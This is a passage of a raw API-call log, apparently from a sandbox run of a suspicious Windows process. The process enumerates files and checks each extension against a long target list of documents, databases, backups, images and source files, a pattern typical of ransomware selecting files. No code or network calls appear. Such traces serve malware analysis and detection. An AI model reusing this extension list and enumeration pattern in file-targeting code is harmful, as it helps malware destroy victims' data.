returned 4 [0084.408] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0084.408] lstrlenW (lpString=".cin") returned 4 [0084.408] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0084.408] lstrlenW (lpString=".class") returned 6 [0084.408] lstrcmpiW (lpString1=".class", lpString2="4_.GIF") returned -1 [0084.408] lstrlenW (lpString=".clx") returned 4 [0084.408] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0084.408] lstrlenW (lpString=".config") returned 7 [0084.408] lstrcmpiW (lpString1=".config", lpString2="04_.GIF") returned -1 [0084.408] lstrlenW (lpString=".cpp") returned 4 [0084.409] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0084.409] lstrlenW (lpString=".cr2") returned 4 [0084.409] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0084.409] lstrlenW (lpString=".crt") returned 4 [0084.409] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0084.409] lstrlenW (lpString=".crw") returned 4 [0084.409] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0084.409] lstrlenW (lpString=".cs") returned 3 [0084.409] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0084.409] lstrlenW (lpString=".css") returned 4 [0084.409] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0084.409] lstrlenW (lpString=".csv") returned 4 [0084.409] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0084.409] lstrlenW (lpString=".cub") returned 4 [0084.409] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0084.409] lstrlenW (lpString=".dae") returned 4 [0084.409] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0084.409] lstrlenW (lpString=".dat") returned 4 [0084.410] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0084.410] lstrlenW (lpString=".db") returned 3 [0084.410] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0084.410] lstrlenW (lpString=".dbf") returned 4 [0084.410] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0084.410] lstrlenW (lpString=".dbx") returned 4 [0084.410] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0084.410] lstrlenW (lpString=".dc3") returned 4 [0084.410] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0084.410] lstrlenW (lpString=".dcm") returned 4 [0084.410] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0084.410] lstrlenW (lpString=".dcr") returned 4 [0084.410] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0084.410] lstrlenW (lpString=".der") returned 4 [0084.410] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0084.410] lstrlenW (lpString=".dib") returned 4 [0084.410] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0084.410] lstrlenW (lpString=".dic") returned 4 [0084.411] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0084.411] lstrlenW (lpString=".dif") returned 4 [0084.411] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0084.411] lstrlenW (lpString=".divx") returned 5 [0084.412] lstrcmpiW (lpString1=".divx", lpString2="_.GIF") returned -1 [0084.412] lstrlenW (lpString=".djvu") returned 5 [0084.412] lstrcmpiW (lpString1=".djvu", lpString2="_.GIF") returned -1 [0084.412] lstrlenW (lpString=".dng") returned 4 [0084.412] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0084.412] lstrlenW (lpString=".doc") returned 4 [0084.412] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0084.412] lstrlenW (lpString=".docm") returned 5 [0084.412] lstrcmpiW (lpString1=".docm", lpString2="_.GIF") returned -1 [0084.412] lstrlenW (lpString=".docx") returned 5 [0084.412] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0084.413] lstrlenW (lpString=".dot") returned 4 [0084.413] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0084.413] lstrlenW (lpString=".dotm") returned 5 [0084.413] lstrcmpiW (lpString1=".dotm", lpString2="_.GIF") returned -1 [0084.413] lstrlenW (lpString=".dotx") returned 5 [0084.413] lstrcmpiW (lpString1=".dotx", lpString2="_.GIF") returned -1 [0084.413] lstrlenW (lpString=".dpx") returned 4 [0084.413] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0084.413] lstrlenW (lpString=".dqy") returned 4 [0084.413] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0084.413] lstrlenW (lpString=".dsn") returned 4 [0084.413] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0084.413] lstrlenW (lpString=".dt") returned 3 [0084.413] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0084.413] lstrlenW (lpString=".dtd") returned 4 [0084.413] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0084.413] lstrlenW (lpString=".dwg") returned 4 [0084.414] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0084.414] lstrlenW (lpString=".dwt") returned 4 [0084.414] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0084.414] lstrlenW (lpString=".dx") returned 3 [0084.414] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0084.414] lstrlenW (lpString=".dxf") returned 4 [0084.414] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0084.414] lstrlenW (lpString=".edml") returned 5 [0084.414] lstrcmpiW (lpString1=".edml", lpString2="_.GIF") returned -1 [0084.414] lstrlenW (lpString=".efd") returned 4 [0084.414] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0084.414] lstrlenW (lpString=".elf") returned 4 [0084.414] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0084.414] lstrlenW (lpString=".emf") returned 4 [0084.414] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0084.414] lstrlenW (lpString=".emz") returned 4 [0084.414] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0084.414] lstrlenW (lpString=".epf") returned 4 [0084.414] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0084.415] lstrlenW (lpString=".eps") returned 4 [0084.415] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0084.415] lstrlenW (lpString=".epsf") returned 5 [0084.415] lstrcmpiW (lpString1=".epsf", lpString2="_.GIF") returned -1 [0084.415] lstrlenW (lpString=".epsp") returned 5 [0084.415] lstrcmpiW (lpString1=".epsp", lpString2="_.GIF") returned -1 [0084.415] lstrlenW (lpString=".erf") returned 4 [0084.415] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0084.415] lstrlenW (lpString=".exr") returned 4 [0084.415] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0084.415] lstrlenW (lpString=".f4v") returned 4 [0084.415] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0084.415] lstrlenW (lpString=".fido") returned 5 [0084.415] lstrcmpiW (lpString1=".fido", lpString2="_.GIF") returned -1 [0084.415] lstrlenW (lpString=".flm") returned 4 [0084.415] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0084.415] lstrlenW (lpString=".flv") returned 4 [0084.415] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0084.415] lstrlenW (lpString=".frm") returned 4 [0084.415] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0084.416] lstrlenW (lpString=".fxg") returned 4 [0084.416] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0084.416] lstrlenW (lpString=".geo") returned 4 [0084.416] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0084.416] lstrlenW (lpString=".gif") returned 4 [0084.416] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0084.416] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0084.416] lstrlenW (lpString="AG00011_.GIF") returned 12 [0084.416] lstrlenW (lpString=".1cd") returned 4 [0084.416] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0084.416] lstrlenW (lpString=".3ds") returned 4 [0084.416] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0084.416] lstrlenW (lpString=".3fr") returned 4 [0084.416] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0084.416] lstrlenW (lpString=".3g2") returned 4 [0084.416] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0084.416] lstrlenW (lpString=".3gp") returned 4 [0084.417] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0084.417] lstrlenW (lpString=".7z") returned 3 [0084.417] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0084.417] lstrlenW (lpString=".accda") returned 6 [0084.417] lstrcmpiW (lpString1=".accda", lpString2="1_.GIF") returned -1 [0084.417] lstrlenW (lpString=".accdb") returned 6 [0084.417] lstrcmpiW (lpString1=".accdb", lpString2="1_.GIF") returned -1 [0084.417] lstrlenW (lpString=".accdc") returned 6 [0084.417] lstrcmpiW (lpString1=".accdc", lpString2="1_.GIF") returned -1 [0084.417] lstrlenW (lpString=".accde") returned 6 [0084.417] lstrcmpiW (lpString1=".accde", lpString2="1_.GIF") returned -1 [0084.417] lstrlenW (lpString=".accdt") returned 6 [0084.417] lstrcmpiW (lpString1=".accdt", lpString2="1_.GIF") returned -1 [0084.417] lstrlenW (lpString=".accdw") returned 6 [0084.417] lstrcmpiW (lpString1=".accdw", lpString2="1_.GIF") returned -1 [0084.417] lstrlenW (lpString=".adb") returned 4 [0084.417] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0084.417] lstrlenW (lpString=".adp") returned 4 [0084.417] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0084.417] lstrlenW (lpString=".ai") returned 3 [0084.418] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0084.418] lstrlenW (lpString=".ai3") returned 4 [0084.418] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0084.418] lstrlenW (lpString=".ai4") returned 4 [0084.418] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0084.418] lstrlenW (lpString=".ai5") returned 4 [0084.418] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0084.418] lstrlenW (lpString=".ai6") returned 4 [0084.418] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0084.418] lstrlenW (lpString=".ai7") returned 4 [0084.418] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0084.418] lstrlenW (lpString=".ai8") returned 4 [0084.418] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0084.418] lstrlenW (lpString=".anim") returned 5 [0084.418] lstrcmpiW (lpString1=".anim", lpString2="_.GIF") returned -1 [0084.418] lstrlenW (lpString=".arw") returned 4 [0084.418] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0084.418] lstrlenW (lpString=".as") returned 3 [0084.418] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0084.419] lstrlenW (lpString=".asa") returned 4 [0084.419] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0084.419] lstrlenW (lpString=".asc") returned 4 [0084.419] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0084.419] lstrlenW (lpString=".ascx") returned 5 [0084.419] lstrcmpiW (lpString1=".ascx", lpString2="_.GIF") returned -1 [0084.419] lstrlenW (lpString=".asm") returned 4 [0084.419] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0084.419] lstrlenW (lpString=".asmx") returned 5 [0084.419] lstrcmpiW (lpString1=".asmx", lpString2="_.GIF") returned -1 [0084.419] lstrlenW (lpString=".asp") returned 4 [0084.419] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0084.419] lstrlenW (lpString=".aspx") returned 5 [0084.419] lstrcmpiW (lpString1=".aspx", lpString2="_.GIF") returned -1 [0084.419] lstrlenW (lpString=".asr") returned 4 [0084.419] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0084.419] lstrlenW (lpString=".asx") returned 4 [0084.419] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0084.419] lstrlenW (lpString=".avi") returned 4 [0084.419] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0084.419] lstrlenW (lpString=".avs") returned 4 [0084.420] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0084.420] lstrlenW (lpString=".backup") returned 7 [0084.420] lstrcmpiW (lpString1=".backup", lpString2="11_.GIF") returned -1 [0084.420] lstrlenW (lpString=".bak") returned 4 [0084.420] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0084.420] lstrlenW (lpString=".bay") returned 4 [0084.420] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0084.420] lstrlenW (lpString=".bd") returned 3 [0084.420] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0084.420] lstrlenW (lpString=".bin") returned 4 [0084.420] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0084.420] lstrlenW (lpString=".bmp") returned 4 [0084.420] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0084.420] lstrlenW (lpString=".bz2") returned 4 [0084.420] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0084.420] lstrlenW (lpString=".c") returned 2 [0084.420] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0084.420] lstrlenW (lpString=".cdr") returned 4 [0084.420] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0084.421] lstrlenW (lpString=".cer") returned 4 [0084.421] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0084.421] lstrlenW (lpString=".cf") returned 3 [0084.421] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0084.421] lstrlenW (lpString=".cfc") returned 4 [0084.421] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0084.421] lstrlenW (lpString=".cfm") returned 4 [0084.421] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0084.421] lstrlenW (lpString=".cfml") returned 5 [0084.421] lstrcmpiW (lpString1=".cfml", lpString2="_.GIF") returned -1 [0084.421] lstrlenW (lpString=".cfu") returned 4 [0084.421] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0084.421] lstrlenW (lpString=".chm") returned 4 [0084.421] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0084.421] lstrlenW (lpString=".cin") returned 4 [0084.421] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0084.421] lstrlenW (lpString=".class") returned 6 [0084.422] lstrcmpiW (lpString1=".class", lpString2="1_.GIF") returned -1 [0084.422] lstrlenW (lpString=".clx") returned 4 [0084.422] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0084.422] lstrlenW (lpString=".config") returned 7 [0084.422] lstrcmpiW (lpString1=".config", lpString2="11_.GIF") returned -1 [0084.422] lstrlenW (lpString=".cpp") returned 4 [0084.422] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0084.422] lstrlenW (lpString=".cr2") returned 4 [0084.422] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0084.422] lstrlenW (lpString=".crt") returned 4 [0084.422] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0084.422] lstrlenW (lpString=".crw") returned 4 [0084.422] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0084.422] lstrlenW (lpString=".cs") returned 3 [0084.422] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0084.422] lstrlenW (lpString=".css") returned 4 [0084.422] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0084.422] lstrlenW (lpString=".csv") returned 4 [0084.423] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0084.423] lstrlenW (lpString=".cub") returned 4 [0084.423] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0084.423] lstrlenW (lpString=".dae") returned 4 [0084.423] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0084.423] lstrlenW (lpString=".dat") returned 4 [0084.423] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0084.423] lstrlenW (lpString=".db") returned 3 [0084.423] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0084.423] lstrlenW (lpString=".dbf") returned 4 [0084.423] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0084.423] lstrlenW (lpString=".dbx") returned 4 [0084.423] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0084.423] lstrlenW (lpString=".dc3") returned 4 [0084.423] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0084.423] lstrlenW (lpString=".dcm") returned 4 [0084.423] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0084.423] lstrlenW (lpString=".dcr") returned 4 [0084.423] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0084.423] lstrlenW (lpString=".der") returned 4 [0084.424] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0084.424] lstrlenW (lpString=".dib") returned 4 [0084.424] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0084.424] lstrlenW (lpString=".dic") returned 4 [0084.424] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0084.424] lstrlenW (lpString=".dif") returned 4 [0084.424] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0084.424] lstrlenW (lpString=".divx") returned 5 [0084.424] lstrcmpiW (lpString1=".divx", lpString2="_.GIF") returned -1 [0084.424] lstrlenW (lpString=".djvu") returned 5 [0084.424] lstrcmpiW (lpString1=".djvu", lpString2="_.GIF") returned -1 [0084.424] lstrlenW (lpString=".dng") returned 4 [0084.424] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0084.424] lstrlenW (lpString=".doc") returned 4 [0084.424] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0084.424] lstrlenW (lpString=".docm") returned 5 [0084.424] lstrcmpiW (lpString1=".docm", lpString2="_.GIF") returned -1 [0084.424] lstrlenW (lpString=".docx") returned 5 [0084.425] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0084.425] lstrlenW (lpString=".dot") returned 4 [0084.425] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0084.425] lstrlenW (lpString=".dotm") returned 5 [0084.425] lstrcmpiW (lpString1=".dotm", lpString2="_.GIF") returned -1 [0084.425] lstrlenW (lpString=".dotx") returned 5 [0084.425] lstrcmpiW (lpString1=".dotx", lpString2="_.GIF") returned -1 [0084.425] lstrlenW (lpString=".dpx") returned 4 [0084.425] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0084.425] lstrlenW (lpString=".dqy") returned 4 [0084.425] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0084.425] lstrlenW (lpString=".dsn") returned 4 [0084.425] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0084.425] lstrlenW (lpString=".dt") returned 3 [0084.425] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0084.425] lstrlenW (lpString=".dtd") returned 4 [0084.425] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0084.425] lstrlenW (lpString=".dwg") returned 4 [0084.425] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0084.425] lstrlenW (lpString=".dwt") returned 4 [0084.426] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0084.426] lstrlenW (lpString=".dx") returned 3 [0084.426] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0084.426] lstrlenW (lpString=".dxf") returned 4 [0084.426] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0084.426] lstrlenW (lpString=".edml") returned 5 [0084.426] lstrcmpiW (lpString1=".edml", lpString2="_.GIF") returned -1 [0084.426] lstrlenW (lpString=".efd") returned 4 [0084.426] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0084.426] lstrlenW (lpString=".elf") returned 4 [0084.426] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0084.426] lstrlenW (lpString=".emf") returned 4 [0084.426] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0084.426] lstrlenW (lpString=".emz") returned 4 [0084.426] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0084.426] lstrlenW (lpString=".epf") returned 4 [0084.426] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0084.426] lstrlenW (lpString=".eps") returned 4 [0084.426] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0084.426] lstrlenW (lpString=".epsf") returned 5 [0084.427] lstrcmpiW (lpString1=".epsf", lpString2="_.GIF") returned -1 [0084.427] lstrlenW (lpString=".epsp") returned 5 [0084.427] lstrcmpiW (lpString1=".epsp", lpString2="_.GIF") returned -1 [0084.427] lstrlenW (lpString=".erf") returned 4 [0084.427] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0084.427] lstrlenW (lpString=".exr") returned 4 [0084.427] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0084.427] lstrlenW (lpString=".f4v") returned 4 [0084.427] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0084.427] lstrlenW (lpString=".fido") returned 5 [0084.427] lstrcmpiW (lpString1=".fido", lpString2="_.GIF") returned -1 [0084.427] lstrlenW (lpString=".flm") returned 4 [0084.427] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0084.427] lstrlenW (lpString=".flv") returned 4 [0084.427] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0084.427] lstrlenW (lpString=".frm") returned 4 [0084.427] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0084.427] lstrlenW (lpString=".fxg") returned 4 [0084.427] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0084.428] lstrlenW (lpString=".geo") returned 4 [0084.428] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0084.428] lstrlenW (lpString=".gif") returned 4 [0084.428] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0084.428] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0084.428] lstrlenW (lpString="AG00021_.GIF") returned 12 [0084.428] lstrlenW (lpString=".1cd") returned 4 [0084.428] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0084.428] lstrlenW (lpString=".3ds") returned 4 [0084.428] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0084.428] lstrlenW (lpString=".3fr") returned 4 [0084.428] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0084.428] lstrlenW (lpString=".3g2") returned 4 [0084.428] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0084.428] lstrlenW (lpString=".3gp") returned 4 [0084.428] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0084.428] lstrlenW (lpString=".7z") returned 3 [0084.429] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0084.429] lstrlenW (lpString=".accda") returned 6 [0084.429] lstrcmpiW (lpString1=".accda", lpString2="1_.GIF") returned -1 [0084.429] lstrlenW (lpString=".accdb") returned 6 [0084.429] lstrcmpiW (lpString1=".accdb", lpString2="1_.GIF") returned -1 [0084.429] lstrlenW (lpString=".accdc") returned 6 [0084.429] lstrcmpiW (lpString1=".accdc", lpString2="1_.GIF") returned -1 [0084.429] lstrlenW (lpString=".accde") returned 6 [0084.429] lstrcmpiW (lpString1=".accde", lpString2="1_.GIF") returned -1 [0084.429] lstrlenW (lpString=".accdt") returned 6 [0084.429] lstrcmpiW (lpString1=".accdt", lpString2="1_.GIF") returned -1 [0084.429] lstrlenW (lpString=".accdw") returned 6 [0084.429] lstrcmpiW (lpString1=".accdw", lpString2="1_.GIF") returned -1 [0084.429] lstrlenW (lpString=".adb") returned 4 [0084.429] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0084.429] lstrlenW (lpString=".adp") returned 4 [0084.429] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0084.429] lstrlenW (lpString=".ai") returned 3 [0084.430] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0084.430] lstrlenW (lpString=".ai3") returned 4 [0084.430] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0084.430] lstrlenW (lpString=".ai4") returned 4 [0084.430] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0084.430] lstrlenW (lpString=".ai5") returned 4 [0084.430] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0084.430] lstrlenW (lpString=".ai6") returned 4 [0084.430] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0084.430] lstrlenW (lpString=".ai7") returned 4 [0084.430] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0084.430] lstrlenW (lpString=".ai8") returned 4 [0084.430] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0084.430] lstrlenW (lpString=".anim") returned 5 [0084.430] lstrcmpiW (lpString1=".anim", lpString2="_.GIF") returned -1 [0091.843] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.843] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95af5900, ftCreationTime.dwHighDateTime=0x1c7e846, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95af5900, ftLastWriteTime.dwHighDateTime=0x1c7e846, nFileSizeHigh=0x0, nFileSizeLow=0x2387, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic.dotx", cAlternateFileName="CLASSI~1.DOT")) returned 1 [0091.844] lstrcmpiW (lpString1=".1cd", lpString2="dotx") returned -1 [0091.844] lstrcmpiW (lpString1=".3ds", lpString2="dotx") returned -1 [0091.844] lstrcmpiW (lpString1=".3fr", lpString2="dotx") returned -1 [0091.844] lstrcmpiW (lpString1=".3g2", lpString2="dotx") returned -1 [0091.844] lstrcmpiW (lpString1=".3gp", lpString2="dotx") returned -1 [0091.844] lstrcmpiW (lpString1=".7z", lpString2="otx") returned -1 [0091.844] lstrcmpiW (lpString1=".accda", lpString2="c.dotx") returned -1 [0091.844] lstrcmpiW (lpString1=".accdb", lpString2="c.dotx") returned -1 [0091.844] lstrcmpiW (lpString1=".accdc", lpString2="c.dotx") returned -1 [0091.845] lstrcmpiW (lpString1=".accde", lpString2="c.dotx") returned -1 [0091.845] lstrcmpiW (lpString1=".accdt", lpString2="c.dotx") returned -1 [0091.845] lstrcmpiW (lpString1=".accdw", lpString2="c.dotx") returned -1 [0091.845] lstrcmpiW (lpString1=".adb", lpString2="dotx") returned -1 [0091.845] lstrcmpiW (lpString1=".adp", lpString2="dotx") returned -1 [0091.845] lstrcmpiW (lpString1=".ai", lpString2="otx") returned -1 [0091.845] lstrcmpiW (lpString1=".ai3", lpString2="dotx") returned -1 [0091.845] lstrcmpiW (lpString1=".ai4", lpString2="dotx") returned -1 [0091.845] lstrcmpiW (lpString1=".ai5", lpString2="dotx") returned -1 [0091.845] lstrcmpiW (lpString1=".ai6", lpString2="dotx") returned -1 [0091.845] lstrcmpiW (lpString1=".ai7", 